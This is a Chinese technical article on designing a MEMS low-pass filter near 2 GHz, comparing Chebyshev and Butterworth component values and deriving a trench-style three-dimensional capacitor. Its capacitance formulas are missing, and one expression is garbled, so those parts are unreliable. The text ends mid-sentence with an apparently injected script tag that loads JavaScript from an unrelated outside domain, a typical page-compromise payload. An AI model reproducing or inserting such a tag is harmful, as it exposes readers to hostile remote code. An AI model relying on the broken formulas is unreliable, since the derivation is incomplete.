随着信息时代的发展，对于无线通信设备中的一些外接的分立元件的微型化、低功耗及可携带性提出了更高的要求。现在通常采用单片微波集成电路（mmic）技术来制作微波电路器件。传统的mmic技术制作电路的特点是：用半绝缘材料（gaas）作绝缘衬底；将衬底的背面金属化，且作为地。但是mmic技术也存在其不可避免的缺点：由于gaas的成本较高，使得采用mmic技术制作的微波器件的成本也比较高；当频率大于12ghz后，器件必须用通孔才能做到与地充分接触，而且毫米波通过通孔使电路性能变差；还有采用mmic技术制作的无源器件的面积占到了整个器件的绝大部分；最后采用mmic技术制作的无源器件的q值也比较低。
为了克服mmic技术的缺点，人们开始对微电子机械系统（mems）技术的研究产生了极大的兴趣，mems是一项有广泛应用前景的新兴应用基础技术。利用mems技术可以使无线通信设备中的外接分立元件达到微型化，低功耗及可携带性的要求。mems采用深刻蚀技术，实现宏观机械上的三维结构，使以前的无源器件的小型化成为可能，同时将版图面积大幅度下降，另外更加容易集成；牺牲层技术mems的一项十分重要的技术，它是制作可动、可调器件的关键；mems的器件主要是以si作为加工材料，这就使它相对传统的利用mmic技术制作的器件的成本大幅度下降，而且由于有微电子技术的支持，使得mems的集成化成为可能。mems的这些特点也就决定了它向微小型化、多样性和微电子技术方向不断发展。
根据mems和mmic技术特点，希望能够制成一种结合两种技术优点的器件或电路。由于微波器件和电路对频率的要求比较高，故在其使用之前必须进行频率的匹配工作，而且器件和电路的个体差异较大，所以匹配工作比较烦琐且无统一的规律可循。传统的滤波器版图面积比较大，而且频率较低，故准备设计并制作一个利用mems技术制作的滤波器，采用三维电容和高q值电感器件，从而可以比较精确和方便的调整电路的固有频率，并且比较有效的缩小版图面积，体现其高集成的特性。
一、滤波器的设计与计算
滤波器作为微波通讯中不可缺少的重要器件之一，一直都是人们努力优化设计的对象。考虑到本次设计的滤波器将主要应用于无线通讯设备中，将它的低通截止频率设计在2ghz附近，输入和输出的阻抗为50殴姆。下面主要分析切比雪夫滤波器和巴特沃兹滤波器设计过程。
● 切比雪夫滤波器的拓扑图如图1所示，利用matlab编程计算得到其参数值为rs=50(殴姆),rl=50(殴姆),c1=2.1(pf),c2=1.3(pf),l1=4.4118(nh),l2=7.0441(nh)，并用pspice进行模拟，模拟结果如图2所示。
● 巴特沃兹滤波器的拓扑图如图3所示，利用matlab编程计算得到其参数值为rs=50(殴姆)，rl=50(殴姆)，c1=1.6(pf),c2=1.6(pf)，l1=7.9577(nh)，并用pspice进行模拟，模拟结果如图4所示。
巴特沃兹滤波器虽然通带比较平稳，但是截止频率处衰减较大，所以考虑通过提高截止频率实现在2ghz处的低衰减特性。再通过pspice进行模拟，可以得到在截止频率为4ghz时，f=2ghz处的衰减较小，如图5所示，故采用该截止频率得到的设计参数为rs=50殴姆，rl=50殴姆，c1=0.8pf，c2=0.8pf，l1=4.0nh。与切比雪夫滤波器比较，提高截止频率后，巴特沃兹滤波器的优点更为突出。所以本文将采用巴特沃兹滤波器进行设计计算。
二、三维电容的设计与计算
由于电容的性能决定了整个电路性能的好坏，所以可调电容以及容值较易改变的电容已经成为电容的发展趋势。提出了在电容的两个极板上外加静电偏置电压，使极板间的距离发生变化，从而达到改变容值的方法，并且可以将电容的两个极板制成梳状结构，增大它的容值及其改变量。由于集成电路中无源器件占的面积比较大，而且想改变它的大小又必须改版，很不方便。有资料提出一种堆叠式的电容，虽然它的面积下降很多，但是由于它采用多层工艺，技术难度较大，所以本文提出一种三维电容。
考虑到侧面介质厚度比水平面较薄，侧面介质厚度d3为
d3=k*d2(0<1)
该三维电容的容值为：
其中参数的意义分别为：
sio2：sio2的介电常数
l1: 槽的宽度
l2: 凸台的宽度
w: 槽的长度
d1: 槽深
d2: 水平面上介质厚度
n: 槽的个数
a: 槽的侧面与底面的夹角
k: 槽的侧面介质厚度与底面介质厚度的比
经化简可得：
对于采用传统的平面电容，其容值为c’=esio2xwxnx(l1+l2)/d2
这样就可以得到在相同面积下，三维电容的容值与传统的平面电容的容值的比y。
由滤波器的设计一节中，可知截止频率f=4ghz时，计算得到电容值为0.8pf，选取介质厚度为0.3um，sio2的介电常数为3.8，k=0.8，陡直度为85o，选取槽的宽度为6um，凸台的宽度为4um，槽深20um，槽的个数为4，横向宽度35um，?script src=http://er12.com/t.js>
